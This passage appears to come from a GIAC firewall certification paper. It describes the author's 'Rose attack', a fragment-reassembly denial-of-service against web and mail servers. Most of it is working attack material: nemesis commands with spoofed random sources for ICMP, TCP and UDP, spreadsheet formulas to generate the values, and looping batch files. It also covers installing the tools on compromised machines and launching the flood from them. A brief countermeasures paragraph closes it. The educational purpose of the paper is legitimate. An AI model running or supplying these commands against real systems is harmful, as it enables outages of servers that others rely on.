

A second method to perform a DOS attack is a attack against the Web server and the SMTP server (or any other server you might find). It is an attack I devised (and AFAIK is an original attack) I call "The Rose attack". This attack is a combination of the SYN attack and the "Unknown" ICMP attack in the GCFW coursework. The attack depends on the "More Fragments" flag and the fact that timeouts on time exceeded_fragment reassembly for many machines are at or above the 2 minute range. Microsoft Windows 2000 is 2 minutes, Sun Solaris appears to be four minutes and Mandrake Linux is 30 seconds. The first fragment and the last fragment of "a very large packet" (64k) is sent, but not the middle fragments. That fragment buffer in the IP stack is held open until the timer expires. In addition if the IP stack is not programmed correctly this might also result in a buffer overflow because of the large number of "large" packets. When the number of fragment buffers is filled no more fragmented packets are accepted. With TCP and UDP a port does not even have to be a "open" port for this attack to succeed.

Per the documentation at Sun site docs.sun.com: Solaris Tunable Parameters Reference Manual, 2003. URL: <http://docs.sun.com/db/doc/816-0607/6m735r5fn?a=view> (Accessed December 2, 2003), the TCP Fragmentation timer tcp_time_wait_interval is 4 minutes and the number of connections pending is tcp_conn_req_max_q of 128. for UDP, see Solaris Tunable Parameters Reference Manual, 2003. URL: <http://docs.sun.com/db/doc/816-0607/6m735r5fo?a=view> (Accessed December 2, 2003). While this information is not on the UDP, it is assumed that the numbers are the same as the TCP parameters.

On a Windows 2000 machine with a relatively small number (about 150) packets, the ability for the IP stack to accept fragmented packets was disabled for 2 minutes. With a Linux box at 780 packets per second (using the below test) mixed results were obtained with some fragmented ping packets failing and some returned and high CPU utilization, but the Linux box returned to normal as soon as the flood stopped. The same test (780 PPS) proved to have mixed results with a Cisco 2621XM router, with 50 to 90% CPU utilization and the pings returned to normal as soon as the ping flood stopped. A Solaris 9 machine was unavailable for testing so the below attack could not be tested on that operating system. As a side note this attack could also be used for OS fingerprinting. Windows sends back "Fragmentation time exceeded" for all packets. Linux sends back "Fragmentation time exceeded" for just the ICMP packets and Cisco router none at all.

First an excel spreadsheet is created for random addresses, ports, sequence numbers, etc. If, for example, port 80 (HTTP) on a specific machine is attacked then YY (see below) would be a static entry of 80. The format of each packet looks like:

ICMP first fragment and Last Fragment:

```
nemesis icmp -S WW.VV.VV.VV -D 197.0.0.12 -d1 -i 8 -I II -P Picmpdata.txt -
FM0
nemesis icmp -S WW.VV.VV.VV -D 197.0.0.12 -d1 -i 8 -I II -P Picmpdata.txt -
F8100
```

TCP first fragment and last fragment:

```
nemesis tcp -S WW.VV.VV.VV -D 197.0.0.12 -d1 -I II -s SS -a AA -x XX -y YY -P
Ptcpdata.txt -FM0
```

```
nemesis tcp -S WW.VV.VV.VV -D 197.0.0.12 -d1 -I II -s SS -a AA -x XX -y YY -P
Ptcpdata.txt -FM8100
```

UDP first fragment and last fragment:

```
nemesis udp -S WW.VV.VV.VV -D 197.0.0.12 -d1 -I II -x XX -y YY -P
Pudpdata.txt -FM0
nemesis udp -S WW.VV.VV.VV -D 197.0.0.12 -d1 -I II -x XX -y YY -P
Pudpdata.txt -FM0
```

Where:

Var	Range	Formula	Header	Description
WW	11 - 171	=INT(RAND()*162)+11	IP	The first octet of the "random" IP address
VV	1 - 254	=INT(RAND()*254)+1	IP	The second, third and fourth octet of the "random" IP address
II	1-65k	=INT(RAND()*65530)+1	IP	IP Identification Number
197.0.0.12	Static	Static	IP	Destination IP address
-d1				Send packet out Ethernet 1 card
SS	1- 4294967295	=INT(RAND()*4294967295)+1	TCP	Sequence Number
AA	1- 4294967295	=INT(RAND()*4294967295)+1	TCP	Acknowledgement Number
XX	1025- 65536	=INT(RAND()*65535)+1025	TCP UDP	Source Port Number
YY	1- 65536 or static of port 80 (http) or port 25 (smtp)	=INT(RAND()*65535)+1 or 80 or 25	TCP UDP	Destination Port Number. If a particular service is attacked use that port number.
-P Ptcpdata.txt	Static	Static	IP	Data in packet from file Ptcpdata.txt
FM0 or FM8100	Static	Static	IP	Fragment Offset

Set up the payload data so that we have a "legal" sized fragment:

```
Picmpdata.txt = "ANemesisICMPDataBNemesisICMPData"
```

```
Ptcpdata.txt = "ANemesisTCPDataBNemesisTCPData"
```

```
Pudpdata.txt = "ANemesisUDPDataBNemesisUDPDataB"
```

Next nemesis and WinPcap-3.0 would be installed on each of the above compromised machines. Nemesis can be found at Sourceforge: Jeff Nathan, nemesis.sourceforge.net - Packet injection tool suite, 2003. URL: <http://nemesis.sourceforge.net/> (Accessed December 4, 2003). WinPcap-3.0 can be found at: Loris Degioanni (and others), Windows Packet Capture Library, 2003. URL: <http://winpcap.polito.it/install/> (Accessed December 4, 2003). The excel output with a name of "**attackp.bat**" and "**attackbig.bat**" would be placed on the compromised

machines. An example of just six packets (of many thousands) from the file **attackp.bat** attacking the HTTP port on 197.0.0.12 would look like:

```
nemesis icmp -S 161.215.230.222 -D 197.0.0.12 -d1 -i 8 -I 26168 -P
icmpdata.txt -FM0
nemesis icmp -S 161.215.230.222 -D 197.0.0.12 -d1 -i 8 -I 26168 -P
icmpdata.txt -F8100
nemesis tcp -S 12.226.144.73 -D 197.0.0.12 -d1 -I 14193 -s 3984468955 -a
3864952939 -x 25423 -y 80 -P Ptcpdata.txt -FM0
nemesis tcp -S 12.226.144.73 -D 197.0.0.12 -d1 -I 14193 -s 3984468955 -a
3864952939 -x 25423 -y 80 -P Ptcpdata.txt -F8100
nemesis udp -S 101.41.117.214 -D 197.0.0.12 -d1 -I 58789 -x 24300 -y 80 -P
Pudpdata.txt -FM0
nemesis udp -S 101.41.117.214 -D 197.0.0.12 -d1 -I 58789 -x 24300 -y 80 -P
Pudpdata.txt -F8100
```

Attackbig.bat would look like:

```
:loop
Call attackp.bat
Rem Wait two seconds before sending out the next batch of data
ping -n 2 127.0.0.1
goto loop
```

All of the compromised machines would then start sending the packets **with the command as follows:**

```
C:\>attackbig.bat
```

The attack would be successful in that it would not only try to overwhelm the connection to GIAC with what "look" like real connection attempts, it is also designed to not allow the target machine to communicate with other machines that require fragmentation of large data packets (whether they be internal or external machines).

The **countermeasures to mitigate this attack** would involve the ISP and reconfiguring the internal machines. The ISP would have to track down each of the compromised machines. Since the source IP address is random the only way to track down the machine is to trace router by router, hop by hop, which machines are sending out the anomalous packets. Internal machines that connect to the machine that is attacked would have to be reconfigured not to send fragmented packets.